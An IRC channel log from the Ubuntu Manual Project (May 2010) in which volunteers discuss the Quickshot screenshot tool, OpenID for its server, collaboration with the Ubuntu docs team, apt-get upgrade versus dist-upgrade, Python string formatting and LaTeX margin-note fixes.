#ubuntu-manual 2010-05-17
<Red_HamsterX> OpenID finally makes sense!
 * Red_HamsterX pushes an schema that should capture all needs for the server.
<Red_HamsterX> I'm pretty sure it'll do everything, though, so that's ten hours well-spent.
<godbyk> One can but hope. ;-)
<Red_HamsterX> Lawl, "an schema".
 * Red_HamsterX fixes issues, allowing the system to actually run.
<Red_HamsterX> (Not that it does anything right now)
<godbyk> Hey, Red_HamsterX.. for some screenshots in the future, I'd like to be able to annotate them (using numbers or arrows, etc.).  Do you think this is something Quickshot could do or help with?
<Red_HamsterX> Not directly, but it should be easy enough to make a script that'll overlay annotations on the captured images.
<Red_HamsterX> Like what we did to clean up the button order.
<Red_HamsterX> Like, just draw on top of one image, then save the layer and batch-apply that to all other languages.
<Red_HamsterX> (With exceptions for RTL stuff)
<Red_HamsterX> I could hack that in about half an hour, with config files.
<godbyk> Right.
<godbyk> The only iffy part is how to handle the different languages.
<godbyk> Not just LTR and RTL issues, but also different translations have different length words. So the offsets will vary.
<Red_HamsterX> Oh, not just numerals?
<Red_HamsterX> Hmm...
<Red_HamsterX> It doesn't seem like it'd be terribly hard to do...
<Red_HamsterX> Layer overlay for circles and stuff (since those should be similar in most languages) and (x,y) anchors for text.
<Red_HamsterX> With smart placement rules to prevent strings from going off edges.
<godbyk> Well creating the overlay elements is easy.
<godbyk> But if I want to point at, say, the help icon in the panel..
<godbyk> that x offset varies depending on the language.
<Red_HamsterX> If processing power is a non-issue, we could brute-force-scan the image for matching pixels.
<Red_HamsterX> (Or spend time finding a less-stupid algorithm)
<Red_HamsterX> (Someone's probably written one)
<Red_HamsterX> (If not, I'm decent at problems like that)
<godbyk> well, the reason I asked about incorporating it into quickshot is because I figured quickshot could potentially record that info when it takes the image.
<godbyk> grab the (x,y) coordinates of the center of that panel icon, for instance.
<godbyk> using some snazzy API that someone else has already written.. whatever that may be. :)
<Red_HamsterX> Maybe the panel exposes docklet data...
<Red_HamsterX> But, yeah, that could be worth looking into.
<Red_HamsterX> Though it'd complicate out-of-flow hacks.
<Red_HamsterX> Since that sort of data would need to be stored as a tag againt the file.
<Red_HamsterX> Can you add a list of things you might want to highlight to http://pad.ubuntu-uk.org/f0VIdaLXWZ ?
<Red_HamsterX> Anywhere's fine.
<godbyk> Sure.
<Red_HamsterX> It doesn't have to be a complete list. I just want to know if I should contemplate this feature as a project-specific hack or an architectural necessity.
<Red_HamsterX> (While it's still early enough to easily add such things to the plan)
<godbyk> Right.
<godbyk> I just remembered when we first started taking screenshots that I wanted to annotate some.
<godbyk> For the desktop one, for instance, I wanted to point out the panels, what the icons on the panels meant, etc.
<godbyk> Basically, put labels on the screenshot so we don't have to come up with insane textual descriptions all the time.
<godbyk> Okay, it's midnight here and I have a meeting in the morning, so I'm headed to bed.
<godbyk> See you guys later!
<humphreybc> godbyk, a meeting!?
<humphreybc> a MEETING!
<godbyk-android> Yep. New job = weekly meetings.
<nisshh> humphreybc: i have a meeting tonight as well
<nisshh> hehe
<humphreybc> godbyk, you have a job now?
<humphreybc> my team is falling apart! You guys can't get employed!
<humphreybc> We rely on your hours and hours of slave labour
<nisshh> hehe, nah its my loco meeting
<nisshh> humphreybc: welcome back by the way!
<godbyk-android> LOL
<humphreybc> danke :)
<nisshh> the break from the manual has been good, iv almost got a new release of my app out
<humphreybc> nice
<humphreybc> what app?
<humphreybc> http://twitpic.com/1oj826
<nisshh> hehe, was concetrating: https://edge.launchpad.net/pytask
<nisshh> rick spencer was helping me with it last night
<nisshh> humphreybc: should get a new release out by the end of this month
<humphreybc> sweet!
<nisshh> humphreybc: so what did you find out at uds?
<humphreybc> lots of stuff!
<humphreybc> everyone loves UMP and OMG
<nisshh> cool
<nisshh> also, check the mailing list for a few mails from various doc teams
<humphreybc> kay
<humphreybc> we had a pretty good session at UDS about collaboration
<humphreybc> any email back from Matt East yet?
<nisshh> dunno
<nisshh> not in my hotmail...
<nisshh> hmm, not to the list, but just a few bug reports and stuff on lp
<thorwil> godbyk: hi, no need to bother with the making-beautiful-fonts video if you haven't already, screen is outside of camera view :/
<ubuntujenkins> +1
<ubuntujenkins> ?quickshot > ubuntujenkins
<quickshotdevs> ubuntujenkins, please see my private message
<godbyk> thorwil: thanks for the heads-up.  I don't s'pose anyone's posted the slides yet?
<thorwil> godbyk: no. Iain is on it
<godbyk> cool
<godbyk> thorwil: also, totally agree with your take on the use of the word 'intuitive' in discussing usability issues.
<godbyk> it's overused and is entirely too ambiguous to use in those conversations.
<godbyk> having said that, however, I've actually been ignoring the ayatana emails of late because there are too many of them and they don't contain enough substance.
<thorwil> yeah, 2 or 3 much too wordy people
 * Red_HamsterX enjoys being loquacious. :(
<Red_HamsterX> Hence my rediculously huge nick.
<Red_HamsterX> ridiculosuly*
<Red_HamsterX> (The handle I use on other networks has been abandoned for over a year on Freenode, but I have no idea who to speak to about getting it released)
<Red_HamsterX> (And I still use this name to sign code and stuff, so...)
<ubuntujenkins>  Red_HamsterX http://freenode.net/faq.shtml#unusednick
<ubuntujenkins> I guess #freenode would be the place to find a staffer
<Red_HamsterX> Ah, yes. I suppose I could have just used Google.
<ubuntujenkins> lol I had read that page before
<Red_HamsterX> I'm used to just knowing the ops on networks I frequent.
<flan> Yay for shorter, less-silly-looking nicknames.
<flan> Now I can confuse people.
 * flan updates his Launchpad page for sanity's sake.
<flan> Thanks, ubuntujenkins. :)
<ubuntujenkins> flan: no more Red_HamsterX then :(
<ubuntujenkins> I am going to get confused for a day or two :P
<flan> Well, I could use both...
<flan> Rename my bot or something.
<ubuntujenkins> no its cool I will learn :)
<flan> Handles with underscores in them are pretentious.
 * flan self-asserts facts.
<c7p> hey godbyk :)
<thorwil> godbyk: heh, linux libertine used for the redone wikipedia logo: http://www.underconsideration.com/brandnew/archives/around_the_world_in_51_characters.php
<flan> Random survey: how many people here have actually used a hex editor?
#ubuntu-manual 2010-05-18
<godbyk> I'm back now.  Long day. (New job.)
<godbyk> Reading the backlogs.
<humphreybc> https://launchpad.net/uslc
<flan> You've got tense inconsistencies.
<humphreybc> probably
<godbyk> humphreybc's always got tense inconsistencies.
<godbyk> Most notably when he's talking about things that haven't happened yet in the present tense. :)
<flan> Doesn't make his ideas any less compelling, though. :)
<godbyk> Btw, humphreybc, flan is the new Red_HamsterX.
<flan> Aww...
<flan> You spoiled it. :(
<godbyk> lol
<godbyk> sorry.
<flan> I wanted to surprise him.
<humphreybc> I thought it would take someone with some cheek to question me :D
<flan> =P
<flan> I finally, with ubuntujenkins's help, got this nick released from abandoned purgatory.
<humphreybc> as for the tense thing, if I talk about something that hasn't happened like it has happened, that's called "thinking positively"
<humphreybc> hahaha nice
<flan> It's what I use on other networks, 'cause it's short and unassuming.
<humphreybc> yeah
<godbyk> It's also known as 'driving godbyk up the wall'. :)
<humphreybc> Red Hamster X is pretty weird
<flan> It is.
<flan> Underscores in names are pretentious. :(
<humphreybc> I remember Tim's expression when I told him
<flan> I just used it 'cause that's how I sign things.
<flan> 'Cause it's memorable.
<humphreybc> yup
<humphreybc> shit we have a lot of crap to get through this cycle
<flan> Oh, yeah... Plenty of it.
<humphreybc> I need to recruit more people... also, need to simplify instructions on our site
<flan> I'm starting to make decent progres with the technologies I want to use for the QS server, so I should be able to start working on the client earlier than expected.
<humphreybc> fantastic
<flan> Which means I can probably help with some other stuff.
<humphreybc> yay :)
<humphreybc> USLC needs you!
<flan> I should be able to start hacking on the train next week.
<humphreybc> we need a codename for the project
<humphreybc> and we need a new team name for us
<flan> Team We're-better-than-you
<humphreybc> "The Ubuntu Manual Team" is too restricting now, seeing as we won't just produce manuals in the near future.
<humphreybc> also, a heads up: over the next week or so I'll be working primarily on OMG! Ubuntu! stuff, and then for about 3 weeks after that I'll be studying for my exams next month. Long story short, I won't be doing a lot of work in the next month. I'll hang out in the channel and reply to emails but I have so much stuff to do it's not funny
<flan> Bleh. My mind's stuck in an alliterative loop.
<humphreybc> and i'm confident you guys can survive without me :)
<humphreybc> (at least until you run out of stuff to do and need me to come up with more zany ambitious ideas)
<flan> You've given us plenty of direction, so that's probably a safe assumption.
<flan> So, uh, like in time for 12.04?
<humphreybc> heh
<humphreybc> What do you guys think is the best way to lay out direction/work item type stuff for the team?
<humphreybc> blueprints? blog posts? TODO lists?
<humphreybc> Or is everything fairly organized already
<flan> As an observer, I think things are likely to be identified, tagged, and owned as they come up, documentation-wise...
<humphreybc> kk
<humphreybc> Judging from some of the emails in the ML, it looks like everyone understands the concept and goals of USLC
<flan> With QS, godbyk's identifying some useful ideas and I'm trying to figure out how to build them into the design.
<humphreybc> But I need to write up some clearer specifications for USLC, including identifying actions when you interact with certain areas of the site
<humphreybc> Hehe, Quickshot is an awesome success story
<humphreybc> You guys are like a snowball rolling down a hill, we gave you the first push and now the QS team are off doing your own thing and setting your own goals which is awesome. People ask me about QS and I'm like "I have no idea what they're up to, they just do it" and that's awesome.
<flan> It'll be a lot better when we're done rebuilding it. :)
<flan> I'm really liking where I think I can take the server in terms of getting things up and running effortlessly.
<flan> And I love Luke's slides for the new UI.
<humphreybc> Yeah, if you guys can make it easy for other projects to configure the backend, then that would be magical
<flan> That's my goal.
<flan> Minimal requirements: python 2.5
<flan> And that should be it.
<humphreybc> I'd love to see Debian, Linux Mint, OpenSUSE and a tonne of teams in the Ubuntu community using it
<humphreybc> (just as examples)
<humphreybc> y'know, for their documentation
<flan> Of course.
<flan> I'm advocating distribution neutrality.
<humphreybc> yay!
<flan> Though we'll be maintaining patches necessary for making UMP projects easy as part of the core development effort.
<humphreybc> :)
<flan> I'm really expecting deploying a QS server to be a matter of grabbing the package (which can be as simple as an archive), editing one config file to identify the admin's login password and data paths, and then doing everything else through the web interface.
<flan> All project owners (each server will support multiple project families and projects) will be identified using OpenID.
<flan> So there's nothing messy and no risk of credential leakage.
<humphreybc> that sounds fantastic
<humphreybc> I love the quality of work our team is producing
<humphreybc> and actually making Linux stuff EASY
<humphreybc> it all helps bring it into the mainstream
 * flan hopes Tim gets back to him sooner, rather than later. Preferably with positive news.
<humphreybc> job?
 * flan is already finding working in a "Microsoft Gold Certified Partner" environment stiffling.
<flan> So not my kind of place.
<humphreybc> did you apply for the python position in his team?
<flan> Yeah.
<flan> And I pinged him.
<humphreybc> neato
<flan> And he knows.
<humphreybc> have you chatted?
<flan> I'm just expressing interest.
<humphreybc> hokay
<humphreybc> maybe I should apply for this?
<humphreybc> http://webapps.ubuntu.com/employment/canonical_URM/
<flan> That seems like a perfect fit.
<flan> Whoo! Found a good abstract guide to implementing OpenID in a website.
<flan> (The official docs are quite lacking)
<humphreybc> yay!
<humphreybc> So has daker finished USLC yet?
<flan> He's close.
<humphreybc> haha
<humphreybc> he's the man
<nisshh> IlyaHaykinson: hows the research going?
<silasle> Hi! Is there something i can do for the web-manual?
<IlyaHaykinson> nisshh: got a book in the mail on running user research. i will write up some ideas in the next one-two days;
<IlyaHaykinson> silasle: we are always looking for help
<IlyaHaykinson> !
<IlyaHaykinson> silasle: the current focus is on our second edition for Lucid (called lucid-e2, internally)
<IlyaHaykinson> basically currently we need to look for problems in the manual, and fix them
<IlyaHaykinson> if you just want to contribute a bit, this is the easiest way to start -- help find and fix problems
<IlyaHaykinson> probably the easiest is to run through various instructions and make sure they're easy to follow
<nisshh> IlyaHaykinson: cool
<IlyaHaykinson> if you feel more adventurous, you could get a copy of the manual code and start making tweaks (somewhere there's a long list of problems)
<silasle> I would like to get the code :P
<IlyaHaykinson> silasle: please take a look at http://ubuntu-manual.org/getinvolved/editors
<IlyaHaykinson> that's the best way to get started
<IlyaHaykinson> if you run into any problem, just let people in this channel know.
<IlyaHaykinson> i'll be out for about an hour, but will be back then (downloading TeX may take a while... it's 2GB)
<silasle> Ok, thanks very much, but now i have to go...
<IlyaHaykinson> (that note about TeX was for you -- that's towards the bottom of the instruction page)
<IlyaHaykinson> ok, bye! see you around!
<humphreybc> What do we think? http://www.youtube.com/watch?v=_75rGr5vENs
<ubuntujenkins> humphreybc: its quite random
<humphreybc> please elaborate?
<ubuntujenkins> it is random just is not sure why tbh
 * ubuntujenkins used 18gb the three weeks he was at home at easter the limit is 10gb :?
<ubuntujenkins> I am going to have to upgrade the internet when I am at home next year
<ubuntujenkins> what themes do people use?
<popey> the default one :)
<ubuntujenkins> so do i but i am getting bored of it
<ubuntujenkins> brb
<shrini> http://www.ubuntugeek.com/nice-themes-for-ubuntu-10-04-lucid-lynx-users.html
<flan> Interesting comments in the docs-versus-ump mailing list.
<flan> (+thread)
<shrini> flan: any link on that?
<flan> https://lists.launchpad.net/ubuntu-manual/msg01753.html
<flan> This one and its immediate follow-up.
<flan> We may need someone diplomatic to watch the thread, just in case someone on our side adds a non-neutral comment.
<flan> I'm kinda surprised our team has more than 400 members (according to LaunchPad).
<flan> And there's the docs team's civil retort...
<godbyk-sagan> flan: I'm on it. :)
<flan> Yay. :)
<godbyk-sagan> Hey, IlyaHaykinson.
<godbyk-sagan> Did you see Matthew East's response?
<godbyk-sagan> I'm going to respond soon.
<IlyaHaykinson> godbyk: same here
<IlyaHaykinson> tis why i'm up early today :)
<ubuntujenkins> godbyk-sagan: have you sent the docs mail yet?
<godbyk-sagan> ubuntujenkins: writing it now.
<ubuntujenkins> There is a bit of talk about quickshot ( a few sentences)
<ubuntujenkins> I am keen to try and see what other people want out of it, do you think it would be best to start a new thead or add it to the current one?
<godbyk-sagan> I would probably start a new thread so that the Quickshot discussion doesn't get mired down in this conversation.
<godbyk-sagan> I'm using Quickshot in my response to illustrate a point, too. :)
<ubuntujenkins> I will write one covering our current plans etc
<godbyk-sagan> cool. thanks!
<ubuntujenkins> I will get you guys to read it first so i don't make any silly mistakes :)
<vish> godbyk-sagan: hey.. there
<godbyk-sagan> Hey, vish.  How's it going?
<vish> godbyk-sagan: did humphrey mention we spoke the kyle at the UDS?
<godbyk-sagan> yeah, he did.
<vish> s/the/to
<godbyk-sagan> he said kyle generally liked our ideas and was pretty much on board.
<godbyk-sagan> is that your impression, too?
<vish> godbyk-sagan: yeah , was an interesting conversation and we have a convert :)
<ubuntujenkins> whos kyle?
<godbyk-sagan> vish: great!
<godbyk-sagan> kyle is a member of the docs team.
<godbyk-sagan> I think he's the one who wrote the server guide, but I could be wrong on that.
<vish> ubuntujenkins: and he works for canonical
<ubuntujenkins> nice :))
<thorwil> people leaving docs team to join ours would be ... an interesting signal
 * popey sighs
<popey> its not "them" and "us" guys.
<vish> popey: +1
<ubuntujenkins> popey: +1
<thorwil> that's not what i meant
<vish> popey: kyle was mentioning about his problems and that he sorta didnt like the manual team's approach , but now he likes us too ;)
<thorwil> vish: any insight to gain from his initial reservation?
<vish> thorwil: well , mostly the wam-bam approach we went in ;p
<thorwil> vish: you know i'm not happy about that, but it looks like it worked, strangely
<popey> https://wiki.ubuntu.com/ubuntu-manual still says "beta" is that right?
<godbyk-sagan> Hopefully we'll overcome that soon.
<godbyk-sagan> popey: Nope. The wiki is pretty much dead. We should update it and redirect most of it to our website.
<godbyk-sagan> popey: In general, http://ubuntu-manual.org content should be preferred to the wiki content at this point.
<flan> The perception of being reckless or the way we have hacks everywhere?
<vish> godbyk-sagan: and popey is really much nicer in person ;)
<godbyk-sagan> vish: ha! good to know!
<godbyk-sagan> flan: Ultimately, both. :)
<popey> :( I wanted to grab the manual and see if the bug I filed was still there
<popey> it is :(
<ubuntujenkins> flan can i have you input n this e-mail i am sending please  http://pad.ubuntu-uk.org/iZlJPIupeT
<flan> Want me to just edit directly?
<ubuntujenkins> please do you are better with words than i am
<godbyk-sagan> popey: which bug?
<popey> i cant link to a bug because you didnt use the bug tracker :)
<godbyk-sagan> fair enough. Can you describe the bug?
<popey> yeah, do a search for "apt-get", it only mentions apt-get update and apt-get upgrade, not dist-upgrade
<popey> which is somewhat flawed
<godbyk-sagan> I see.  Is 'apt-get upgrade' suggested when 'apt-get dist-upgrade' should be used instead?  Or is your complaint more that 'dist-upgrade' isn't mentioned at all?
<godbyk-sagan> How would you explain the differences between the two to a beginning user?
<popey> funny you should mention that
<popey> http://popey.com/blog/2010/01/11/feedback-for-going-linux-podcast/ thats how :)
<godbyk-sagan> So it sounds like 'upgrade' should never really be used in practice and that one is better off using 'dist-upgrade'. Is that correct?
<godbyk-sagan> (What's the benefit of 'upgrade'?)
<popey> yup
<popey> well, if you ran a server and wanted to keep up with updates but didnt want any _new_ "untested" (by you) code on your server then you might consider using 'upgrade'
<popey> but if you just want everything up to date and secure then you use dist-upgrade
<popey> if you only use upgrade then you will get situations where packages get held back because a dependancy can't be satisfied
<godbyk-sagan> ah, I understand.
<godbyk-sagan> so for a getting started guide, would you recommend just suggesting dist-upgrade and not even mentioning upgrade?
<popey> not sure I'd mention apt-get in a getting started guide :)
<popey> but yeah, if you're going to mention it, I'd use dist-upgrade
<godbyk-sagan> popey: fair enough.  I think the command line chapter is up for a lot of revision (excision) in Maverick.
<godbyk-sagan> We're hoping to make the guide truly a 'getting started' guide.
<popey> ok
<popey> but will bugs be fixed in the lucid version? given lucid is an LTS release?
<godbyk-sagan> popey: We're going to be releasing a second edition of the lucid version in a couple months, yes.
<godbyk-sagan> We're going to try to resolve all the bugs that have been reported so far.
<godbyk-sagan> Also, if you'd prefer to have your bugs in Launchpad (to more easily track them or discuss them), you're more than welcome to do so.
<godbyk-sagan> We set up the other bug form primarily to reduce the barrier to entry so we could quickly collect as many bugs as possible.
<popey> sure, I understand that
<popey> It's just frustrating not to know the status of bugs.
<popey> will look forward to reviewing the next release :)
<godbyk-sagan> Most of the bugs we collected through that form were 'this word on page 54 is misspelled'.
<IlyaHaykinson> popey: i think most people don't care about reporting bugs and tracking their status :)
<IlyaHaykinson> they just want to submit a minor change request or error, and assume we'll take care of it
<popey> in incorrect assumption in this case
<godbyk-sagan> sure. that's why we accept launchpad bugs, too. :)
<IlyaHaykinson> yup.
<IlyaHaykinson> i see launchpad-style bugs, actually, as mainly used for Bug #1 type issues
<IlyaHaykinson> large things that we need to change
<IlyaHaykinson> like "convert to DocBook"
<IlyaHaykinson> or "screenshots are all sized 1024x769!"
<IlyaHaykinson> whereas most public input will probably take the form of "hey, i found i typo <eom>"
<popey> i can understand that.
<popey> filed bug 582361
<manualbot> Launchpad bug 582361 in ubuntu-manual "apt-get doesn't mention dist-upgrade" [Undecided,New] https://launchpad.net/bugs/582361
<godbyk-sagan> popey: thanks!
<IlyaHaykinson> why do we need to use apt-get?
<IlyaHaykinson> the Update Manager has a distribution update button...
<IlyaHaykinson> when one is available
<flan> Because the terminal chapter hasn't been stripped down the the absolute minimum yet.
<flan> And dist-upgrade doesn't do that.
<flan> It's more like saying "upgrade everything" than "upgrade to the latest distribution".
<godbyk-sagan> I'm going to grab some lunch. I'll be back in a bit.
 * ubuntujenkins sends the quickshot e-mail
<flan> Which mailing list did you post it on, ubuntujenkins?
<flan> (I haven't received a notification yet)
<flan> (And I don't really want to miss the thread)
<ubuntujenkins> flan: manual and doc I din't bother with the quickshot one as th elist can only be psoted to if you are amember
<flan> Maybe it's just delayed, then...
<ubuntujenkins> I got the e-mail straight away on the lists
<flan> Maybe I'm not subscribed...
<IlyaHaykinson> ubuntujenkins: got the post too
<ubuntujenkins> thats good
<ubuntujenkins> flan: I thought you would be subbscribed to the manual one
<flan> I'm pretty sure I am.
<flan> Yeah, I'm subscribed...
<flan> ubuntu-manual@lists.launchpad.net
<flan> I just got another message posted to that list.
<flan> Really weird...
<ubuntujenkins> I don't know then
<flan> Oh, there it is.
<flan> Just weird delay.
<flan> All's good.
<c7p> hey godbyk :) , are you available ?
<godbyk-sagan> Hey, c7p. sorry for the delay on that info. I just started a new job.
<godbyk-sagan> I'll try to write up some notes tonight.
<c7p> i know congrats :)
<c7p> ok cool
<godbyk-sagan> if you want to get started, though, you can run 'make ubuntu-manual-el.tex' to generate the .tex file.
<ubuntujenkins> congrats godbyk-sagan.
<godbyk-sagan> then just move the \marginnote{...} bits around so that the \marginnote command starts on the same line that the margin notes refers to.
<godbyk-sagan> also, make sure the \marginnote{...} isn't in its own paragraph (surrounded by blank lines).
<godbyk-sagan> you can then run 'xelatex ubuntu-manual-el' to compile the pdf.
<godbyk-sagan> (if you run 'make ubuntu-manual-el.pdf, it'll overwrite your .tex file, so avoid that for now.)
<c7p> ok ty ;) I will work on it tonight
<godbyk-sagan> I have to run off to a demo of this project I got pulled into.  I'll be back this evening, though.
<godbyk-sagan> c7p: feel free to email if you have questions or problems.
<c7p> godbyk-sagan: sure
<godbyk-sagan> see ya later.
<c7p> cya
 * ubuntujenkins thinks we should get a mumble chat
<dutchie> yay, more complexity
<ubuntujenkins> I like the idea of not having to type, its hard to explain stuf fon irc
<thorwil> grmpf
<dutchie> if you set it up, i may turn up
<ubuntujenkins> I have no where to put it :/ hench why quickhotdevs is only on when i am on
<dutchie> we could just do epic skype conference calls :)
<ubuntujenkins> we could, skype is cool
<flan> I like text.
<flan> Text is easily searchable.
<ubuntujenkins> dutchie: this translation lark ref bug #Bug 582446
<manualbot> Launchpad bug 582446 in quickshot "Quickshot cannot be localized" [Undecided,New] https://launchpad.net/bugs/582446
<dutchie> i'm merging the branch from dpm now :)
<ubuntujenkins> ok I hope its all ok I am yet to check it all
<dutchie> https://code.edge.launchpad.net/~dpm/quickshot/enable-translations/+merge/25548 :)
<ubuntujenkins> reading it now
<ubuntujenkins> dutchie: can we please not set up the translation yet though
<flan> Yeah... It'd be largely wasted effort at this stage.
<ubuntujenkins> exactly
<flan> We're not even sure exactly which labels we need.
<ubuntujenkins> and none of the text is final
<flan> (The old UI is being completely overhauled)
<dutchie> right, ok
<flan> triaged/low/Luke?
<dutchie> (serves me right for not keeping up with qs development)
<flan> I could probably take this one, though.
<flan> Complete from-scratch rebuild.
<ubuntujenkins> flan don't mind its the whole teams responsiblity
<flan> Well, mostly from-scratch.
<flan> We'll keep code that works well.
<flan> But rearchitect how it fits.
<flan> I mean for overseeing integration of translation into the whole system.
 * flan isn't sure how long-reaching bugs are supposed to work.
<ubuntujenkins> as i am doing ui assign it to me i would like a string freze asap then we can get people to do it
<ubuntujenkins> I think that is best
<ubuntujenkins> but there is the server stuff as well...
<ubuntujenkins> flan: can you please check https://code.edge.launchpad.net/~dpm/quickshot/enable-translations/+merge/25548 lines 36 and 37 of the diff
<ubuntujenkins> also 80 and 81/82 please
<ubuntujenkins> I don't understand the use of
<ubuntujenkins> % symbols instead of the previous code
<dutchie> ubuntujenkins: string interpolation scales better than just concatenating them together
<dutchie> and if a language is RTL, it can be dealt with better
<ubuntujenkins> fair enough as long as that code works.
 * ubuntujenkins needs to learn string interpolation
<flan> String-formatting should generally be done via .format() or dictionaries, though, for sanity's sake in multi-developer environments.
<dutchie> not sure if it's worth it for something trivial like that
<flan> (Positionals are fine for quick hacks, but they're really hard to maintain)
<flan> "%(counter)i" % {'counter': counter,}
<flan> It's not much more code.
<flan> (The dictionary could span multiple lines, to improve readability. One definition per line)
<ubuntujenkins> I am not bothered about writing more code. I just need to learn how to do it.
<flan> But that'll be replaced in the future anyway, so...
<flan> % tells Python to use whatever comes afterwards (by convention, it's a tuple or a dictionary, but a single value is also acceptable) to fill in special patterns in the string.
<ubuntujenkins> I have 4 days set out after exams to do the gui layout etc. thats the plan. Then i go home back to ice age internet
<flan> %s -> string value; %i -> int value; %.3f -> floating-point number with three decimals...
<flan> It's pretty handy once you get used to it.
<flan> A lot like C's notation.
<ubuntujenkins> ok right I will make sure i look into it
<flan> Eh. You'll see it used a lot in my code.
<ubuntujenkins> to quote someone in #ubuntu " First , download Ubuntu Manual it's free and it's very catchy , then you can go for Linux in General"
<flan> (I like the dictionary method, but the Python language core favours .format())
<ubuntujenkins> I have no preference strangely enough :) . I guess the dictionary means that each one is the same through out the program. so more consistant
<flan> Same thoughout the string*
<ubuntujenkins> ok right better do some uni work
<flan> Probably a good idea.
 * flan should do what he's supposedly paid to do.
<flan> Eew... Audacity looks ugly under Lucid.
<humphreybc-cell> Hello!
<godbyk-sagan> Hey, humphreybc-cell
<godbyk-sagan> Hey, IlyaHaykinson
<humphreybc-cell> I'm on the bus back home
<humphreybc-cell> godbyk-sagan: Sagan?
<godbyk-sagan> humphreybc-cell: the name of my laptop.
<ubuntujenkins> hello humphreybc-cell
<humphreybc-cell> Gotcha. I just finished reading through the doc collaboration thread. Man!
<godbyk-sagan> humphreybc-cell: what do you think so far?
<humphreybc-cell> godbyk-sagan: I think I'm glad it's not me arguing anymore!
<humphreybc-cell> Hey Luke
<humphreybc-cell> Martin came into the thread with a hiss and a roar!
<flan> And then things got ugly.
<ubuntujenkins> I would like a uds catch up chat/meeting when you have time. I had loads of uni work that week
<humphreybc-cell> Haha
<ubuntujenkins> humphreybc-cell: flan = Red_hamsterx
<flan> I think Kevin and Ilya did well, though.
<flan> STOP SPOILING IT!
<flan> :(
<flan> >:(
<humphreybc-cell> Luke, sure thing. I'm gonna be pretty busy over the next couple of days though
<ubuntujenkins> flan:  sorry people need to know who you are. people might think we have lost you
<humphreybc-cell> Flan hahaha you can never get away!
<flan> He alrady knows who I am, though. =P
<ubuntujenkins> ben no rush i have plenty to do
<flan> It came up last night.
<flan> 'Sides, I'm not going anywhere.
<humphreybc-cell> Yeah I was told last night
<ubuntujenkins> :)
<humphreybc-cell> UMP 4 lyf y'all
<flan> Collaborative projects are too much fun.
<humphreybc-cell> Anyway, I don't think we're going to get anywhere with Matt east :(
<humphreybc-cell> He's too
<humphreybc-cell> Gah
<humphreybc-cell> He's too barristy
<flan> He doesn't seem to be entirely unreachable...
<godbyk-sagan> He seems willing to collaborate.  I think the big challenge will be in changing the ubuntu-docs culture a bit.
<humphreybc-cell> I wait with bated breath
<IlyaHaykinson> godbyk-sagan: what's up
<flan> I'm pretty sure, based on what I've read, that if we can make the new site a reality, and make it easy for all of his work to be migrated over to it somehow, he'll relent.
<humphreybc-cell> I'm enjoying being a bystander
<flan> Though that'll be a pretty big task.
<humphreybc-cell> flan: everything we do is a pretty big task!
<IlyaHaykinson> humphreybc-cell: we need to make sure that the docs team is on board with our changes, if we can
<flan> The QS server's looking pretty manageable now. =P
<godbyk-sagan> IlyaHaykinson: I agree.  I think we have to make at least a good faith effort to collaborate.
<IlyaHaykinson> not to say that we wait for them, but that we loop them in and make sure that we can include them in every step of the process
<humphreybc-cell> IlyaHaykinson: yeah. It'll be a bit hard to replace help
<humphreybc-cell> Crazy
<humphreybc-cell> Godmother
<humphreybc-cell> Fucking android, scuse French
<godbyk-sagan> lol
<humphreybc-cell> Why is send so close to delete?
<humphreybc-cell> Anyway, yeah, it'll be hard to replace help.ubuntu.com without their backing. Unless we just bypass them entirely lol
<ubuntujenkins> rather cheeky but does anyone have spotify premium and wouldn't mind sending me an invite please :)
<flan> Well, from what people have said, the manual's already being cited as a reliable source...
<flan> It's not like it'd be that hard to make an unofficial site a predominant one.
<flan> Not a good idea, but possibly a necessity.
<humphreybc-cell> Lol
<humphreybc-cell> If that happens, at least we tried
<humphreybc-cell> Three times in fact
<flan> I'm sure there'll be a lot more trying.
<flan> I really want to help with the site design.
<flan> It looks like it's going to be a great way to learn all sorts of things at once.
<flan> (As a developer)
<humphreybc-cell> You want them to help?
<flan> (The users might benefit, too)
<humphreybc-cell> Oh right sure
<flan> No, no... I'm saying I want to help build that thing.
<flan> It looks cool.
<humphreybc-cell> It's really cool
<flan> I don't think opposition from the docs team would be enough to keep me from it.
<flan> I'm sure everyone else feels that way, too.
<humphreybc-cell> Did anyone look into Mozilla sumo?
<flan> Not yet, but I e-mailed myself about it.
<flan> (To look at after I get home)
<humphreybc-cell> flan: yeah, even people in the docs team feel the same way
<humphreybc-cell> So are we waiting for another lengthy reply from Matthew?
<godbyk-sagan> humphreybc-cell: Pretty much.
<godbyk-sagan> Any for conversation to start up around Ilya's post about the tech stuff.
<dutchie> typical. internet drops for a few minutes and #ubuntu-manual fills up with chat :(
<dutchie> and my battery is about to run out
<humphreybc-cell> Lol
<humphreybc-cell> dutchie: how's that bug form going?
<dutchie> err
<dutchie> "well"
<dutchie> didn't work out how to do authentication into LP
<dutchie> decided it would be easiest to have a dummy account, iirc
<dutchie> did we set up an account for the UMP persona?
<ubuntujenkins> we will have a problem when people like pope-y want to keep up with their bugs , can we have an openid option as well?
<flan> What problem are you trying to solve?
<dutchie> i need to sign in to launchpad to report a bug there
<dutchie> ubuntujenkins: exactly, but it should be possible to redirect to the bug page and have them subscribe from there
<flan> Yeah. Just say it affects you or sign up for change reports.
<dutchie> you might even be able to redirect to "launchpad.net/bugs/<number>/+subscribe" or some such
<flan> I don't see how OpenID would help here.
<flan> (But I don't know all the details)
<dutchie> no, it doesn't
<dutchie> oauth is the problem
<dutchie> i doubt I can do anything with 0.0% battery and no charger though :(
 * ubuntujenkins doesn't know the difference
<ubuntujenkins> is anyone running maverick yet?
<dutchie> check out lp:~ubuntu-manual-website/ubuntu-manual-website/bug-form
<dutchie> ubuntujenkins: i don't think maverick exists yet
<dutchie> at least, I haven't seen anything on -devel{,-announce,discuss} to that effect
<flan> Yeah... I'd be surprised if Maverick is anything more than a code-name and a repository at this point.
<ubuntujenkins> thats true neither have i, some one in #ubuntu+1 said there were broken packages
<flan> At the start of each Ubuntu cycle, packages are imported from Sid. That's probably what they were talking about.
<flan> (Broken Debian imports)
<ubuntujenkins> I don't think i will be changing untill beta this release. but htats what i said last time
<godbyk> Home again.  Yay!
<ubuntujenkins> flan I have just installed audacity I agree it looks awful in lucid
<flan> Yay for not being crazy!
<c7p> hey godbyk, welcome back
<godbyk> hey, c7p.
<godbyk> Did you have a chance to look at the \marginnote stuff?
<c7p> if i want to move a margin note a line or two, up or down on pdf what should I do
<c7p> yeah I am looking at it right now
<godbyk> You have two basic options:
<godbyk> 1. Move the \marginnote{...} text to the line that it refers to and it will start printing on that line.  This is the preferred method.
